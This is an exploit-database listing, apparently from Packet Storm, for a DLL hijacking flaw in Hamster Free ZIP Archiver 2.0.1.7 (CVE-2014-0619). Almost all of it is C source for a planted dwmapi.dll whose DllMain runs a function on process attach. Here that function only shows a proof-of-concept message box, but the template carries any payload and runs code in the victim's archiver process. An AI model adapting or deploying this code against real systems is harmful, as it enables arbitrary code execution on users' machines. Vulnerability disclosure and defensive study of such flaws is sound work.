Lucene search

K
packetstormOsanda MalithPACKETSTORM:128739
HistoryOct 16, 2014 - 12:00 a.m.

Hamster Free ZIP Archiver 2.0.1.7 DLL Hijacking

2014-10-1600:00:00
Osanda Malith
packetstormsecurity.com
18

EPSS

0

Percentile

5.1%

`/*  
* Title: Hamster Free ZIP Archiver Dll Hijacking Exploit 2.0.1.7 (dwmapi.dll)  
* Version: 2.0.1.7  
* Tested on: Windows XP SP2 en  
* Vendor: http://www.hamstersoft.com/   
* Software-Link: http://www.hamstersoft.com/online/hfza_site/hfza_site_3_0_0_34_b26122013.exe  
* E-Mail: osanda[at]unseen.is  
* Author: Osanda Malith Jayathissa  
* CVE : CVE-2014-0619  
* /!\ Author is not responsible for any damage you cause  
* Use this material for educational purposes only  
*/   
  
// All extensions are vulnerable  
#include <windows.h>   
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH: owned();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
  
int owned() {  
MessageBox(0, "Hamster Free ZIP Archiver DLL Hijacked\nOsanda Malith", "POC", MB_OK);  
}  
/*EOF*/  
`

EPSS

0

Percentile

5.1%

Related for PACKETSTORM:128739